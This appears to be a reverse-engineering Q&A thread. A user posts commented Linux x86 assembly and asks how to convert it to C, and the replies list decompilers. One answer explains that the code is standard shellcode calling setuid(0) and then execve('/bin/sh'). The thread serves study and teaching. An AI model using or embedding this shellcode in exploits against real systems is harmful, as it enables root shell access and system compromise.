18

I have the following assembly code over Linux distro:

# using the .data section for write permission
# instead of .text section
.section .data
.globl _start

_start:
     # displaying some characters for watermarking :-)
     xor %eax,%eax      # clear eax by setting eax to 0
     xor %ebx,%ebx      # clear ebx by setting ebx to 0
     xor %edx,%edx      # clear edx by setting edx to 0
     push %ebx          # push ebx into the stack, base pointer
                        # for the stack frame
     push $0xa696e55    # push U-n-i characters
     push $0x4d555544   # push M-U-U-D characters
     push $0x414d4841   # push A-M-H-A characters
     movl  %esp,%ecx    # move the sp to ecx
     movb  $0xf,%dl     # move 15 to dl (low d), it is the string length,
                        # notice the use of movb - move byte, this is to avoid null
     movb  $0x4,%al     # move 4 to al (low l),
                        # 4 is system call number for
                        # write(int fd, char *str, int len)
     int  $0x80         # call kernel/syscall

     # setuid(0)
     xor %eax,%eax      # clear eax by setting eax to 0
     xor %ebx,%ebx      # clear ebx by setting ebx to 0
     xor %ecx,%ecx      # clear ecx by setting ecx to 0
     movb $0x17,%al     # move 0x17 into al - setuid(0)
     int $0x80          # call kernel/syscall

     jmp do_call        # jump to get the address with the call trick

jmp_back:
     pop %ebx           # ebx (base pointer=stack frame pointer) has 
                        # the address of our string, use it to index
     xor %eax,%eax      # clear eax by setting eax to 0
     movb %al,7(%ebx)   # put a null at the N or shell[7]
     movl %ebx,8(%ebx)  # put the address of our string (in ebx) into shell[8]

     movl %eax,12(%ebx) # put the null at shell[12] our string now looks something like
                        # "/bin/sh\0(*ebx)(*0000)"
     xor %eax,%eax      # clear eax by setting eax to 0
     movb $11,%al       # put 11 which is execve

# syscall number into al
     leal 8(%ebx),%ecx  # put the address of XXXX i.e. (*ebx) into ecx
     leal 12(%ebx),%edx # put the address of YYYY i.e. (*0000) into edx
     int $0x80          # call kernel/syscall

do_call:
     call jmp_back

shell:
     .ascii "/bin/shNXXXXYYYY"

How is it possible to convert it to C code?

4
  • Looks like a crackme or CTF. So we should do your homework? :) ... I'm sure someone will.
    – 0xC0000022L
    Feb 24, 2014 at 12:33
  • 2
    Come on MortezaLSC, this all commented and fully understandable... RTFM !
    – perror
    Feb 25, 2014 at 8:43
  • @0xC0000022L I found it...thank you for your help
    – MLSC
    Mar 1, 2014 at 4:34
  • User:pank4j's answer in above, does not include the below decompiler, it can also do Assembly-source-code to C code conversion: Boomerang (decompiler)
    – atErik
    Oct 21, 2020 at 2:59

4 Answers 4

24

Here is the list of few decompilation tools / resources that you may find useful.

4
  • 1
    Are I able to decompile output of as test.s -o test to a C code(command line)?
    – MLSC
    Feb 24, 2014 at 9:29
  • That depends. If test.s is generated from a c compiler such as cl.exe or gcc, chances are that you can get back the C code that is close to the original. If it is hand crafted assembly code, the decompiled code may not be any useful than the assembly itself.
    – pank4j
    Feb 25, 2014 at 2:34
  • ok..I am using gcc...How is it possible? thanks
    – MLSC
    Feb 25, 2014 at 10:07
  • Try opening the assembled binary in IDA Pro or Hopper.
    – pank4j
    Feb 25, 2014 at 16:04
6

You need decompiler. I'd compile it and use retargetable decompiler It is easiest way to do this specific task.

4

I'd just like to add what this code actually does, since it's rather simple. It is designed to be used as a shellcode. A relatively standard one. What it does is write something to AHMADUMinU to STDIN (?) which gets printed on the screen and then proceeds to execute /bin/sh via syscall 11. It's fairly easy to follow since it's heavily commented. I am mentioning all of this because you won't be able to see many of the details in "decompiled code" which would look somethign like this:

main(){
write(0,"AHMA...",15);
execve("/bin/sh",NULL,NULL);
}

There is one interesting bit (old shellcoding trick). The shellcode needs to NULL terminate the "/bin/sh" string which will be somewhere on the stack. For that purpose, it needs to get its address. It does that by making two calls. Calls will make new stack frames, at which point it can just pop the saved stack frame.

1
  • 2
    It predates shellcode as well. DOS viruses did the same thing and typically referred to it as a "delta offset".
    – broadway
    Feb 27, 2014 at 16:46
3

There's also asm2c that works on assembly source code instead of executables or objects files.

Tool to convert DOS Assembly code to C code Edit

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service and acknowledge you have read our privacy policy.

Not the answer you're looking for? Browse other questions tagged or ask your own question.